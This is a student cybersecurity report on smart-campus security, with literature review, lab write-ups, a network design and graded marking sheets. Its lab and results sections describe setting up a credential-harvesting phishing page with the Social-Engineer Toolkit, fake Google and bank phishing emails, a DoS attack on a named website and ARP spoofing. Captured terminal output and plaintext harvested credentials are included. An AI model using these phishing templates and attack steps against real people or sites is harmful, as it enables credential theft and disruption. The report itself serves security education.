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     Abstract— The Internet of Things has changed the world, allowing the creation of advanced computing communication technologies, smart cities, smart devices and many more in production smart systems, enhancing quality and performance of communication devices around the world. It is not all benefits that come with the Internet of Things, this statement echoing cybercrime and cybersecurity. Over 90% of data breaches are caused by phishing attacks, meaning human error is the biggest factor when it comes to email phishing. This report focuses on the potential threats, risks and attacks against smart cities and a newly built UWTSD (University of Wales Trinity St David) smart campus in the heart of Swansea.
I. Introduction 	Comment by Carlene Campbell: 
Good introduction but lack referencing
The growth of the Internet of Things (IoT) has benefited the world of technology in many ways, allowing any time access to information anywhere in the world with the use of network devices such as a smartphones, tablets, laptops and any devices with internet connection. IoT has also produced interconnected network devices, enhancing quality and performance of communication devices with more transparency, which reduces inefficiencies and provides easier communication between people, businesses and organizations. These are a few examples of how individuals and organizations have prospered with the IoT, however one key factor that hasn’t been mentioned is cybersecurity. 	Comment by Carlene Campbell: 
Avoid using contractions (shortened form of a word combination using the apostrophe (') e.g. don't, isn't)!

Write " not" instead of "n't".

Reference(s):http://grammar.about.com/od/words/a/EnglishContractions.htm

Cybercrime has been a dilemma since IoT became popular around 2004, where each year the amount of cyberattacks deployed against businesses is rising in numbers rapidly. There are threats everywhere, abusing the benefits IoT have brought into the world, and exploiting every device/network they can with malicious cyberattacks like phishing, malware, SQL injection, denial-of-service (DoS) and distributed denial-of-service attacks (DDoS). These attacks are executed in order to steal information, passwords, emails, credit card credentials, destroy or manipulate data, anything that the attacker wants access to. These are just a few examples of the most common types of cyberattacks that are deployed against businesses and organizations today, who are in desperate need for solutions to help prevent and/or detect vulnerabilities, threats and attacks. 

Cybersecurity is one of the fastest growing industries in the world today, with organizations employing graduates studying cybersecurity straight from universities in order to help combat the highly sophisticated cybercriminals. Cybersecurity organizations are working hard, building security infrastructures for businesses, to provide protection for sensitive information and data running over their network. However, cybercriminals come up with new attacks every day, trying their best to exploit the target systems and bypass the security to gain access to information.

Smart cities and buildings are in the process of being designed and built for cities suffering with the lack of resources to carry out essential work such as healthcare, education, transportation, government and safety. These newly designed cities will include cloud-based services, interconnected devices and intelligent computing systems to benefit cities with smart computing technologies, allowing people to advance with technology in order to provide more efficient services and reduce cost. Many benefits come with smart cities, however there are several security issues that need to be addressed and analyzed in order to prevent threats and attacks. 

This report is going to focus on the work of other researchers working in the cybersecurity field, including the Internet of Things and smart city security issues, computer/communication networks and infrastructures security issues and future trends in cybersecurity. This report will also contain the analysis of 4 different lab exercises from class including social engineering phishing, browsing the internet anonymously using CyberGhost, foot printing and reconnaissance and cryptography. The knowledge gained from the research and the analysis of the 4 lab exercises will be used to design and implement some security countermeasures, to help protect resources such as network hardware, servers and databases on the IQ building at the UWTSD smart campus. We will also be using Kali Linux and tools such as Wireshark to analyze any potential threats, attacks and network traffic. 

II. Related Work

Internet of Things and Smart City Security Issues

Over the last 15 years, the Internet of Things has been the gateway for many new technologies and allowed communication between people without physically seeing one or another. Two or more computer systems communicate with each other, with sensors embedded into physical objects with network activity allowing communication between people, businesses and organizations. These systems were just the beginning of what was to become of smart computing technology, with countries planning on big investments to build much larger systems.
Whilst these communication systems and devices have been popular for almost 20 years, some countries have moved on to larger projects, designing and building smart cities. An article online by Verdict [1] explains that Los Angeles was the first to develop a smart city, but many people class Amsterdam as one of the first smart cities built, in 1994 where the creation of a virtual digital city was developed, being citizen friendly and sustainable. As the city proved to be sustainable and efficient, in 2005 Cisco invested $25 million across 5 years of research into smart cities. This was later followed by IBM Smarter Planet Project in 2008, where they explored the use of sensors, network and analytics into urban issues. Over the years leading up to date in 2020, other cities such as Barcelona, Yokohama, London and Hanoi have all been inspired and started investing to work on new billion-dollar smart cities. 

As stated earlier in the introduction, smart cities are benefiting countries, businesses, organizations and people, creating more sustainable cities utilizing resources and creating better living for residents. However, many security threats are among the cities and if they are not managed then the systems and devices within the cities will be vulnerable to threats and cyberattacks. 

The 4 main security characteristic concerns of an Urban Environment (Smart City) are Privacy, Integrity, Availability and Interoperable Security. A journal by Felipe Silva Ferraz and Carlos Ferraz [2] discusses Information Security in a smart city environment, where the privacy concept is an act of only allow permission to the correct individual with the correct details seeking entry to specific information or data. The integrity concept relates to information and data cannot be changed without authorized access. If there are attempts to change the data, then the rightful owner will be notified. Under the context of Information Security, the availability concept matches with privacy, where information will only be available to the person with authorized access. The final security concern is interoperable security, which relates to the act of keeping the system working even if one point in the system has failed.

Felipe Silva Ferraz and Carlos Ferraz [2] also discuss in their journal some of the security issues within a smart city, beginning with access to information from applications. Here they explain how packets could be accessed in different ways and locations through network devices, creating local copies of the packets. For example, an attacker intercepting the packets of a user trying to gain access to personal information, this impacts the security concerns of privacy and integrity. Another security issue within the context of a smart city, is user/citizen data theft. The use of IoT devices such as smartphones, tablets, laptops and other devices run data across the smart city network, containing a wide range of sensitive data and information including messages, images, bank details, contacts and more, leading to the issue of valuable data being intercepted across the network by an attacker. 

The main security vulnerabilities within a smart city infrastructure are the weakness of sensor security. They are easily targeted by attackers and are never given enough attention when implementing cybersecurity. An article on Infosec [3] stated the vulnerabilities of manipulation of 200,000 traffic control sensors in large cities such as Washington D.C, New York and London. With figures like this, it evidences the lack of cybersecurity within smart cities, which leaves the citizens vulnerable to lack of data privacy, integrity and availability.

Smart cities are going to accommodate large enterprises, universities and businesses, meaning that these organizations will be part of the smart computing technology the city has to offer. The problem with this is the cyberattacks businesses attract with them, meaning more security issues within the cities. For example, one of the most alarming attacks is ransomware, they bring highly technical integration and effect the interdependencies that exist inside the smart cities. For instance, attackers can cause a huge chain reaction of destruction by forcing people out of work by disabling their transportation, maybe corrupting the train times or malfunction the subways. This leads to people being unable to report to work which would have a negative impact on their finances. [3]

An article [4] by Richard Peto and Daniel Tokody discuss a range of potential harmful events within a smart city, including the dangers of compromised CCTV. Every CCTV camera that connects to the internet is easy accessed by virtually anyone, with the aid Internet of Things search engines like Shodan. If these security systems were compromised, attackers would be able to leak classified information or analyze security schemes of organizations, which leads to further attacks. 

R.Peto and D.Tokody also explained the stages of establishing security inside a smart city. See figure 1. Components of protection are illustrated in the security pyramid shown in figure 1, expressing how each step is built on top of one another with different missions. 
[image: ]
Figure 1 [4]

Cyberattacks are more common in large urban cities around the world because of the lack of security and vulnerable devices everywhere, meaning attacks such as phishing, Man-in-the-Middle, malware, ransomware and denial-of-service attacks are deployed daily. Although the cities may not benefit the users with high level security, they can secure their own devices and networks by always choosing strong passwords, installing anti-virus software on their devices and using the think before you click protocol. Most email phishing attacks are highly sophisticated and almost impossible to detect if they are legitimate or not, so always use software like email tracer to find out if the email is legitimate. Another way of securing your device is using a virtual private network (VPN), but never connect to public VPN’s as they could be a silent hacker’s network.

Computer/Communication Networks and Infrastructures Security Issues

The most highly anticipated issue with computer/communication networks is cyberattacks, and according to an online article [5] by K.Austin, some of the most common but dangerous attacks are distributed denial-of-service attack (DDoS), SQL injection attack, phishing, Man-in-the-Middle attack and drive-by attack. The aim of these attacks is usually to destroy or manipulate data, steal personal information, bank details, username and passwords.

In the case of DDoS attack, the attacker aims to compromise multiple systems using botnets, flooding the system with traffic in order to disable or temporary disrupt the user’s machine for a long period. There are many reasons why attackers want to execute this attack, this could be for revenge, blackmail and activism. In an article by Victor Santoyo [6] he explains how a DDoS week-long attack can be bought for just $150 on the dark web, and over 2000 DDoS attacks are executed every day. Santoyo also discusses how you can activate a web application firewall (WAF) to prevent the attack, where a layer of protection is inputted between the website and the network traffic. Another way to help combat DDoS attacks is to monitor the website traffic for any potential threats like peaks, that usually lead to DDoS attacks. 

SQL injection attack is a data-driven attack, where the attacker aims to inject malicious code into a victim’s database for example, corrupting the system or device. According to an article [7] by B. Yamini, the types of SQL injections attacks are SQL login bypass, blind injection, error-based attack and union-based attack. A successful SQL injection could even impact a business and result in compromising a list of names, values, checks and payment details. These attacks are usually executed to gain unauthorized access, steal data or compromise organizations. B. Yamini explains how using a web vulnerability scanner which scans for vulnerability scripts inside the application will detect and prevent SQL injection attacks. Additionally,using a firewall can also provide high accuracy against web vulnerabilities. 

Phishing is a cyberattack where the attacker seeks to steal sensitive information such as passwords, credit card credentials, emails and any related personal information by mimicking a trustworthy identity. Usually attackers send fraudulent emails to victims and pose as their bank, requesting their personal details. A journal [8] by R. Fatima explains how phishing emails are so highly sophisticated today, it’s almost impossible for the victim to detect if the email is legitimate. The only way not to fall into deception of the scams is to either ignore the emails or use software to detect where the email came from and if it contains malicious links. The everyday person will not go that far into finding out where an email came from, this is why phishing still remains as one of the most successful cyberattacks in 2020, with 90% of data breaches caused by phishing attacks and over 76% of businesses are victims. [9]
A Man-in-the-Middle attack is where an attacker places himself in between two parties communicating, intercepting any network traffic that the two send to each other. For example, a user sends a message containing bank details across the network intended to arrive to a familiar user, but before the message arrives the Man-in-the-Middle intercepts the message and gains access to the user’s bank details. One form of Man-in-the-Middle attack is ARP spoofing, where the attacker sends forged ARP messages over the network in order to link their MAC address with the IP address of a familiar device on the network, granting them access to the network traffic. Presently, there is no working security mechanism to prevent ARP spoofing. However, in an article [10] which takes an approach to mitigating ARP spoofing by Seung Yeob Nam, he proposes a new security mechanism to counteract ARP spoofing by protecting new nodes from ARP spoofing through fair voting among neighbors. He quoted “The key idea is that even a new node can be protected from an ARP cache poisoning attack if the mapping between an IP and the corresponding MAC addresses is resolved through fair voting among neighbor nodes under the condition that the number of good nodes is larger than that of malicious nodes.”

Drive-by attack is where an attacker injects malicious code into a legitimate website, compromising the browser and then waits for a victim to click on the website in order to install malware and other viruses onto their PC. This can lead to data theft, stolen personal information and even ransomware. The attack is called ‘Drive-by’ because the user doesn’t have to click anything on the corrupt website for the attack to work and the victim is also oblivious to the attack. An online blog [11] by Brian Laing explains that even though it’s important to keep your devices updated to weaken the chance of being a victim of a drive-by download, cybercriminals always find new security flaws in the updates and exploit them. This means it’s inevitable that attackers will always corrupt some legitimate web servers. However, some web servers have strong security and attackers seem to always exploit the same servers repeatedly. Laing listed some prominent systems and applications that are commonly exploited such as Adobe Reader, Adobe/Shockwave Flash (ActiveX), old operating systems (Windows XP), Oracle Java and out of date browser plug-ins. 

To conclude, the three most common network security issues is data loss, security breaches and malicious cyberattacks. These threats and attacks will always exist due to attackers finding security flaws and exploiting them, making it impossible to be one hundred percent secure when connecting to an online network. However, users can prevent or weaken the threats and attacks by using firewalls and anti-virus software, encrypting data, implementing security settings on the router to block unauthorized access, and training staff with security countermeasures to prepare them for any threat in the future. 

Future Trends in Cybersecurity

Over recent years cybersecurity has been a major factor in networks all over the world and the Internet of Things devices. Businesses are suffering from thousands of cyberattacks a day, with a cyberattack taking place every minute. In 2019 there was an estimate of more than 20 billion devices to be connected by 2020. Cybersecurity is one of the fastest growing industries in the world today, employers seeking more cybersecurity engineers to help them protect their businesses from threats and attacks by cybercriminals. Due to the threat, cybersecurity will be trending for many years to come with so many people, businesses and organizations suffering from cyberattacks.

Z. Banach posted an online blog [12] discussing some of the future cybersecurity trends to look out for in 2020, with the top result being data breaches as cybercrimes worst threat. Organizations are spending millions every year ensuring data is secure and private, however there are reports that data breaches continue to be the biggest cybercrime threat to businesses and organizations with valuable information and data which attracts criminals. Banach also discusses how the cybersecurity skills within small businesses are increasing, with cybersecurity automated security tools such as online vulnerability management solutions are provided to workers to allow them to tackle any future threats and attacks, providing the companies with good security posture. 

An online article by Dorit Dor [13] 
Discusses the rise of artificial intelligence (AI), where it is being used as a proxy for crime, accelerating the detection of cybercrime threats and helping prevent attacks quickly before spreading. However, anything that the virtuous can use, the corrupt will use also, meaning cybercriminals have responded to the use of AI by taking advantage of the techniques used to help detect vulnerabilities and create more ambiguous malware. Another future cybersecurity trend Dor has discussed is the development of 5G, where she explains how a flood of 5th generation cyberattacks will attack the 5G network and exploit more vulnerabilities than ever before. Even without the installation of the new 5G networks, new cyberattacks and threats are developed every day, this will only result making IoT devices more vulnerable to cyberattacks when most devices switch over to the new 5G network. 

To conclude, this part of the report has discussed the Internet of things and smart city security issues, computer/communication networks security issues and analysis of the most common types of cyberattacks, and some future trends in cybersecurity. The next section of the report will be an analysis of 4 different lab exercises from class, analyzing some potential solutions to prevent certain cyberattacks.

III. Analysis of Lab Exercises

This section of the report will focus on four lab exercises provided in class to analyze potential threats/attacks and vulnerabilities and some potential prevention and detection of cyberattacks. 

Social Engineering

The first lab exercise used was social engineering, where the attacker uses email phishing to steal personal information such as username and passwords. This attack was set up in Kali Linux using the social engineering toolkit, as seen in figure 2. The steps used in the Social Engineering Toolkit (SET) was 1. Social-Engineering Attacks. 2. Website Attack Vectors. 3. Credential Harvester Attack Method. 4. Web Templates. 5. Input IP address of destination host. 6. Choose Google to setup fake Gmail login webpage. 7. Wait for victim to input credentials.
[image: ]
Figure 2

The next phase in conducting the attack is creating a fake email disguised a weapon and send it to the victim. See figure 3.

[image: ]
Figure 3


After the link in the email is opened and the victim logs into the fake Gmail website, the credentials input are sent back to the attackers PC/Laptop and the attacker now has access to the victims Gmail account, accessing all emails and possible sensitive information within the emails. Username found = broganhaggett18@gmail.com. Password found = haggett200haggett. See figure 4.


[image: ]
Figure 4

This social engineering lab shows how easy it is for attackers to steal usernames and passwords from vulnerable users who don’t think before they click. This lab has provided the solution to prevent email phishing attacks in the future, reinforcing sensitive information should not be shared via email. Banks and social media accounts never request personal information over email, only within the organization they allow you to input personal information. This also demonstrates why it’s a good reason to trace suspicious emails, software such as Email Tracer can provide you with the exact IP address and the location the email came from, allowing you to see if they email is legitimate or not.

Browsing Anonymously with CyberGhost

Many people and businesses suffer with the lack of privacy when browsing the internet, and even more suffer with threats and attacks because of the lack of security. Browsing the internet today is no longer safe with the threat of location sniffing and spying. One solution to securing privacy when browsing the internet is using a virtual private network (VPN), and the VPN demonstrated in this lab exercise is CyberGhost. This software provides enhanced internet traffic security, allowing users to display fake locations and IP addresses if an attacker tries to sniff out their location, allowing the user to browse anonymously and maintain data privacy.
In the first step of this lab exercise, CyberGhost prompts the user to pick a server destination, which will display that the user is currently in that country. In this case, the chosen destination is Australia. See figure 5.
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Figure 5

Figure 6 shows that the chosen proxy server (Australia) has connected successfully and provided the user with the IP address 103.13.101.172 and location of Sydney, Australia. The user can now browse anonymously. 

[image: ]
Figure 6

Now that the VPN has successfully established a connection, the next step in the lab exercise was to check if it was working correctly. Figure 7 and 8 demonstrates the user opening a web browser and searching for the desktops IP address, which provides the geolocation map for 103.13.101.172, Australia. 

[image: ]
Figure 7
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Figure 8

This lab exercise can assist many people and businesses struggling with data privacy whilst browsing the internet, providing internet traffic security and safety. Virtual private networks can offer enhanced security, remote control, online anonymity, bypass filtered websites and provides network scalability. Although most VPN’s are secure, never trust a public VPN as attackers usually attract users with weak Wi-Fi connection and exploit their devices stealing sensitive information as soon as they connect, therefore only use trustworthy VPN’s or use your own. 







Tracing Emails with Email Tracer Pro

Attackers always target employees in order to compromise big organizations, for example using highly sophisticated phishing emails to steal information. A large amount of these employees or even the every day user are vulnerable to these attacks and it’s important to know how to compare suspicious emails to legitimate ones. This lab exercise focuses on using an email tracer, analyzing email headers to extract the information of the email such as the location, date, IP address and time.

The first step of this lab exercise is to setup a fake email and send it to the victim, in this case the attacker is saying she’s from Halifax bank and wants to know the bank details of the victim in order to setup online banking. See figure 9.
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Figure 9

The next step in the lab exercise was to play as the victim. The victim opens Email Tracer Pro and clicks the option ‘Trace an email I have received’, and then copies the email header from the suspicious email and pastes it in the email headers section in Email Tracer Pro. See figure 10.
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Figure 10

Figure’s 11 and 12 show the results of the trace, displaying the IP address of the email and the geolocation map which shows the email came from USA. The trace also displays the hop name of the router, which is ‘SkyRouter.Home’, this provides evidence that the email did not come from the Halifax bank and therefore is a scam. The trace has also provided details saying that the email is possible spam, and maybe connected to familiar phishing emails. 

[image: ]
Figure 11
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Figure 12
To conclude the email trace, a generated report showing in figure 13 detects that the computer 209.85.220.41 was located and was trying to hide their IP address, and the email ‘broganhaggett18@gmail.com’ is most likely fake so it shouldn’t be treated as conclusive. 
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Figure 13

This lab exercise can assist organizations suffering from data loss and breaches by instructing employees to use software such as Email Tracer Pro to detect possible email scams and threats. 

Cryptography

Cryptography is widely used by large organizations sending sensitive information over a network, for instance either via email or message. Cryptography is a secure communication technique that only allows access to the sender and the intended recipient, where the data is encrypted by hash values only the sender and intended recipient can decrypt using a key entry. This is a very important security technique to use when transmitting sensitive information or data with the amount of data breaches in 2020.  In this lab exercise, we will learn how to use CrypTool to encrypt basic data and send it to a recipient to open with an entry key.

The first step in the lab exercise is to create a new document and input some sensitive information. To encrypt this information using the software CrypTool, we must select ‘Encrypt/Decrypt’ and chose symmetric (modern) RC2 encryption, and then finally input a key entry to allow the recipient to decrypt the message. In this case the entry key is 05. See figure 14. 
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Figure 14

Figure 15 shows the RC2 encryption, demonstrating that anyone that has access to this message will be shown this encryption. This may be the difference between data theft or data privacy, it’s always important to encrypt your sensitive data.

[image: ]
Figure 15

The next step in the lab exercise was to send the encrypted message to the intended recipient, providing them with the hex value to decrypt the information which is 05. See figure 16. 
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Figure 16

Figure’s 17 and 18 shows the recipient opening the RC2 encrypted message in CrypTool and using the hex value 05 to decrypt the message. 
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Figure 17
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Figure 18

This lab exercise can aid or assist anyone sending personal information or private data across a network, by following simple steps to encrypt information shared with an individual in a secure manner, preventing attackers intercepting the message and stealing data. 

IV. Implementation

The newly built UWTSD smart campus plays a vital role connecting all networks, systems and devices through the Internet of Things. Resources such as hardware, servers and databases are connected to allow communication between smart computing technology, staff and students. This section of the report is going to discuss the design and implementation of certain areas of the smart campus, providing security countermeasures to secure the resources and services on the university campus. 

Figure 19 shows the network designed using Packet Tracer, including 6 different areas on the smart campus. 
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Figure 19
The first stage in designing the network was to implement 3 routers, 5 switches, an access point and 2 servers (Web and DNS) in order to connect each area. Each network device was provided with an IP address and connected through Fast Ethernet ports. The first area designed was the Cisco lab (Purple box), where 3 PC’s and a student laptop is connected to a switch, which is connected to the router. Each PC was given an IP address and a default gateway to the router which is 192.168.1.1. The second area designed was the technician office (Blue box), where 1 PC, 1 laptop and 1 printer were connected to the switch which connects to the router. The next part of the design was 2 students’ areas (Green boxes), where students could relax before class or use the space as a common room. The devices connected are 2 smartphones, 2 student laptops, a TV and a smart tablet. These devices connect to the Eudroam Wi-Fi via student email and password. The area inside the Red box is IQ room 109, where 3 PC’s are connected to the switch which connects to the router with an IP address of 192.168.3.1. The final area designed was IQ room 205, where 1 PC, 1 student laptop and 1 printer were implemented connecting to the switch which connects to the router with the IP address of 192.168.4.1. 

Now that the design of the smart campus has been implemented, the next phase was to implement some security measures to protect the networks hardware and servers. The first security countermeasure implemented was basic router and switch configuration settings, providing all university devices connected to the routers and switches with password encryption and no unauthorized access prohibited. See figure’s 20 and 21.
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Figure 20
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Figure 21

The next security countermeasure implemented was firewalls. These firewalls were configured on every university PC in order to monitor incoming and outgoing network traffic, blocking any unauthorized packets from outside the network. See figure 22.
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Figure 22

The final security countermeasure implemented on all routers in the network was Access Control Lists (ACLs). This is a layer of security for routers which acts as a firewall, controlling the traffic in and out of one or more subnets. Figure 23 and 24 show the configuration of an ACL setup on the router, and in this design creating a firewall rule to deny the host 192.168.2.2 to test if the ACL is working correctly. 
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Figure 23
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Figure 24

These security countermeasures implemented into the design of the smart campus were an example of some solutions to secure a network in order to prevent the threat of cyberattacks. The next part of the report will discuss and analyze some potential risks, threats, attacks and network traffic using Kali Linux penetration testing software. 




V. Results/Findings and Discussion

This part of the report will analyze the results and findings found using Kali Linux to create some potential threats, risks and attacks against the network designed in the Implementation section. 

Email Phishing

The first attack executed was another email phishing attack, even though this attack was discussed earlier on in the report, attackers tend to target school/university students knowing how easy they succumb to the scams and reveal their personal information. As seen in figure 19 which shows the smart campus network design, there are many students connected to the network and vulnerable to phishing attacks. Attackers can identify hosts on a network of a school/university by using tools such as Nmap to discover IP addresses and use them in attacks like email phishing. Figure 25 demonstrates the phishing website being developed in Kali.
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Figure 25

Figure 26 shows the victims scenario where she clicks on the link and inputs her Facebook details thinking she’s logging into the legitimate Facebook page.
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Figure 26

Figure 27 shows the attackers laptop/PC where he harvests the credentials of the victim. Username found = ShannonGriffiths29@icloud.com. Password found = Berty1996. 
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Figure 27


Denial-of-Service (DoS) Attack

The next attack performed in Kali was a Denial-of-Service (DoS) attack, where the attacker aims to take down a website by flooding the network traffic with botnets. In this scenario, the attack wasn’t aimed at the UWTSD website because it’s illegal and the website shouldn’t be used as an example to penetrate with a cyberattack, therefore the website used to penetrate in this attack was permitted by the owner. Referring to the smart campus network design, there are many reasons why attackers would aim to disable the UWTSD website, for instance an attacker could seek to disable all entry on the website in order to perform blackmail or ransomware against students or staff. 

Figure 28 shows the configuration in Kali to create a Denial-of-Service attack, where thousands of botnets are ready to flood www.AberdareTownFc.co.uk network traffic, disabling the website and compromising security postures. 
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Figure 28

Figure 29 shows the Aberdare Town Football Club website working correctly and figure 30 shows the website disabled and not working after the attack has been deployed.
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Figure 29
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Figure 30
These attacks can be very malicious and harmful, however with the security countermeasures in place inside the smart campus network, the threats from Denial-of-Service attacks should be minimized.

Man-in-the-Middle ARP Spoofing

The final attack used in Kali was a Man-in-the-Middle APR spoofing attack, as discussed earlier in the report. There is no real security mechanism to prevent ARP spoofing attacks, therefore most hosts on the UWTSD network are vulnerable to these attacks.

To begin this attack in Kali, we must first scan for hosts on the network connected to the ARP cache table by using the command ‘ARP’. We also used a Nmap scan to identify the hosts IP address we are targeting (192.168.0.24). See figure 31.
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Figure 31

The next step was to use ARP spoofing commands to send forged ARP messages over the network in order to link the attackers MAC address with the IP address of a familiar device on the network, granting the attacker access to the network traffic. See figure’s 32 and 33.
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Figure 32
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Figure 33

The next step in this attack was to use Wireshark to sniff the victim’s packets going across the network, to spy on the victim and watch their every move on their device. See figure 34
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Figure 34

To conclude, this section of the report has analyzed some of the results of attacks performed in Kali Linux to display the potential risks, threats and attacks against the smart campus network designed. 

VI. Conclusion

To summarize this report, they key parts of research were the Internet of Things and smart city security issues, computer/communication networks security issues and some future trends in cybersecurity. One of the key points includes cybersecurity, which is the fastest growing industry in the world, attackers are exploiting more devices than ever before with new attacks being developed every day. An interesting statistic found in the research was that 90% of data breaches are caused by phishing attacks, making it clear that humans play the biggest role in data loss and theft. 

This report has also analyzed 4 different lab exercises from class, providing solutions to prevent some phishing attacks, how to browse the internet anonymously, how to trace a suspicious email asking for personal information and how to encrypt information through using cryptography tools. 

Finally, we discussed the design and implementation of the UWTSD smart campus, analyzing the security countermeasures implemented ready to combat some of the potential threats, risks and attacks discussed in the final chapters of the report. 
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                 MARKING CRITERIA AND STUDENT FEEDBACK



This section details the assessment criteria. The extent to which these are demonstrated by you determines your mark. The marks available for each criterion are shown. Lecturers will use the space provided to comment on the achievement of the task(s), including those areas in which you have performed well and areas that would benefit from development/improvement.

	[bookmark: assessmentComponent]Common Assessment Criteria Applied  (Assignment 1)
	Marks available
	Marks 
awarded

	1. Engagement with Literature Skills
Extent of research and/or own reading, selection of credible sources, application of appropriate referencing conventions.
	
	

	[bookmark: feedbackRIL]You have discuss key concept. However, a number of areas lack referencing while some could be more referenced. You need to use peer reviewed articles to help enhance the credibility of your work. (Grade mark: 77.78%)
	[bookmark: totalRIL]45
	[bookmark: markRIL]35

	
	
	

	2. Knowledge and Understanding Skills
Extent of knowledge and understanding of concepts and underlying principles associated with the discipline.
	
	

	[bookmark: feedbackKUS]
	[bookmark: totalKUS]
	[bookmark: markKUS]

	
	
	

	3. Cognitive and Intellectual Skills
Analysis, evaluation and synthesis; logic, argument and judgement; analytical reflection; organisation  of ideas and evidence
	
	

	[bookmark: feedbackANA]A very good introduction just lacking referencing.   You have demonstrated very good knowledge in the research aspects.  You have discussed the lab exercises very well and how they could aid individuals and organisations.    (Grade mark: 77.78%)
	[bookmark: totalANA]45
	[bookmark: markANA]35

	
	
	

	4. Practical Application Skills
Deployment of methods, materials, tools and techniques; application of concepts; formulation of innovative and creative solutions to solve problems.
	
	

	[bookmark: feedbackPAD]
	[bookmark: totalPAD]
	[bookmark: markPAD]

	
	
	

	5. Transferable Skills for Life and Professional Practice
Attributes in professional practice: individual and collaborative working; deployment of appropriate media; presentation and organisation.
	
	

	[bookmark: feedbackSPP]A very presentable work, try to avoid contraction grammar. (Grade mark: 70.00%)
	[bookmark: totalSPP]10
	[bookmark: markSPP]7

	
	
	



	Assignment Mark (Assessment marks are subject to ratification at the Exam Board.  These comments and marks are to give feedback on module work and are for guidance only until they are confirmed. )
	Late Submission Penalties (tick if appropriate)
	[bookmark: totalMark]77%

	
	Up to four weeks late
	[bookmark: fourWeeksLate]
	

	
	First Attempt?
	[bookmark: firstAttempt]
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                 MARKING CRITERIA AND STUDENT FEEDBACK



This section details the assessment criteria. The extent to which these are demonstrated by you determines your mark. The marks available for each criterion are shown. Lecturers will use the space provided to comment on the achievement of the task(s), including those areas in which you have performed well and areas that would benefit from development/improvement.

	Common Assessment Criteria Applied  (Assignment 2)
	Marks available
	Marks 
awarded

	1. Engagement with Literature Skills
Extent of research and/or own reading, selection of credible sources, application of appropriate referencing conventions.
	
	

	
	
	

	
	
	

	2. Knowledge and Understanding Skills
Extent of knowledge and understanding of concepts and underlying principles associated with the discipline.
	
	

	You have shown appropriate understanding of the subject area but at least some could utilise information by the latest research of scholarly content. (Grade mark: 75.00%)
	20
	15

	
	
	

	3. Cognitive and Intellectual Skills
Analysis, evaluation and synthesis; logic, argument and judgement; analytical reflection; organisation  of ideas and evidence
	
	

	[bookmark: _GoBack]Excellent documentation of the physical packet tracer design. How does this implementation combat or enhance challenges to the University; this should be interrelated in your discussion.  (Grade mark: 75.00%)
	20
	15

	
	
	

	4. Practical Application Skills
Deployment of methods, materials, tools and techniques; application of concepts; formulation of innovative and creative solutions to solve problems.
	
	

	Your practical design though labelled for ease of understanding there was no redundancy considered. Relevant security measures in place. When tested, no pings were successful. (Grade mark: 66.67%)
	60
	40

	
	
	

	5. Transferable Skills for Life and Professional Practice
Attributes in professional practice: individual and collaborative working; deployment of appropriate media; presentation and organisation.
	
	

	
	
	

	
	
	



	Assignment Mark (Assessment marks are subject to ratification at the Exam Board.  These comments and marks are to give feedback on module work and are for guidance only until they are confirmed. )
	Late Submission Penalties (tick if appropriate)
	70%

	
	Up to four weeks late
	
	

	
	First Attempt?
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hali@kali:~ -0
File Actions Edit View Help

The way that this works is by cloning a site and looking for form fields to
rewrite. If the POST fields are not usual methods for posting forms this
could fail. If it does, you can always save the HTML, rewrite the forms to
be standard forms and use the "IMPORT" feature. Additionally, really
important:

If you are using an EXTERNAL IP ADDRESS, you need to place the EXTERNAL
1P address below, not your NAT address. Additionally, if you don't know
basic networking concepts, and you have a private IP address, you will
need to do port forwarding to your NAT IP address from your external IP
address. A browser doesns't know how to communicate with a private IP
address, so if you don't specify an external IP address if you are using
this from an external perpective, it will not work. This isn't a SET issue
this is how networking works.

set:webattack> IP address for the POST back in Harvester/Tabnabbing [192.168.

35]:192.168.

ek Important Information ke

For templates, when a POST is initiated to harvest
credentials, you will need a site for it to redirect.

You can configure this option under:
/etc/setoolkit/set.config

Edit this file, and change HARVESTER_REDIRECT and
HARVESTER_URL to the sites you want to redirect to

after it is posted. If you do not set these, then [N
it will not redirect properly. This only goes for
templates.

1. Java Required

2. Google
3. Twitter

set:uebattack> Select a template:2
[*] Cloning the website: http://wwi.google.com
[+] This could take a little bit...

The best way to use this attack is if username and password form fields are available. Regardless, t
his captures all POSTs on a website.

[*] The Social-Engineer Toolkit Credential Harvester Attack

[*] Credential Harvester is running on port 80

[+] Information will be displayed to you as it arrives below:
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Google Security Alert L)

shay friel <shaypfriel @gmail.com> 1532 @minutes ago)  ¥X
10 broganhaggett1g ~

Hi Brogan,

We noticed that you haven' updated your password in a long time, to keep your account as secure s possible please log in with your usermame and password using the link
attached to this emal, you will be re directed to an ‘Update your password' page.

Update Your Google Password Here

Thanks
The google Team

« Reply » Forward

New Message
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You can configure this option under:
/etc/setoolkit/set.config

Edit this file, and change HARVESTER_REDIRECT and
HARVESTER_URL to the sites you want to redirect to
after it is posted. If you do not set these, then
it will not redirect properly. This only goes for
templates.

1. Java Required

2. Google
3. Twitter

set:uebattack> Select a template:2
[*] Cloning the website: http://wwi.google.com
[*] This could take a little bit...

The best way to use this attack is if username and password form fields are available. Regardless, t
his captures all POSTs on a website.

[*] The Social-Engineer Toolkit Credential Harvester Attack

[*] Credential Harvester is running on port 80

[*] Information will be displayed to you as it arrives below:

192.168.0.12 - - [30/Apr/2020 15:34:02] "GET / HTTP/1.1" 200 -

15:34:29] "GET / HTTP/1.1" 200 -

[*] WE GOT A HIT! Printing the output:

PARAM: GALX=SJLCkfgagoM

PARAM: continue=https: //accounts. google. con/o/o0auth2/auth?zt=ChRSWFBWA2JmV1hIcDhtUFd1dzBENNT FVMsXSTd
NLWOMAThbW1TMFQZVUZF c1BBaURuN RSQXE2XBB%99APSB24gAAAAALY 4_qD7HbFz38WBKxnaNouL CRIDIYTIX

PARAM: servic:
dsh=-7381887106725792428
_utfs=a
bgresponse=js_disabled
psthsg=1
dnConn=
checkConnectio
PARAM: checkedDomains=youtube

POSSIBLE USERNAME FIELD FOUND: Email=broganhaggett18agnail.com
POSSIBLE PASSWORD FIELD FOUND: Passwdshaggett200haggett

PARAM: signIn=Sign+in

PARAM: PersistentCookie=yes

[*] WHEN YOU'RE FINISHED, HIT CONTROL-C TO GENERATE A REPORT.

192.168.0.12 - - [30/Apr/2020 15:3!
L}

14] "POST /ServiceloginAuth HTTP/1.1" 302 -
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Confirm Bank Details B8 2

Brogan Haggett <broganha.. 14:53 (0 minutes ago) Y 4
to shaypfriel ~

Hi Shay,

My names Brogan and I'm from the Halifax bank. Can you please send
us your details for us to confirm that you're setting up online banking.

Kind regards,
Brogan Halifax

4 Reply ®» Forward
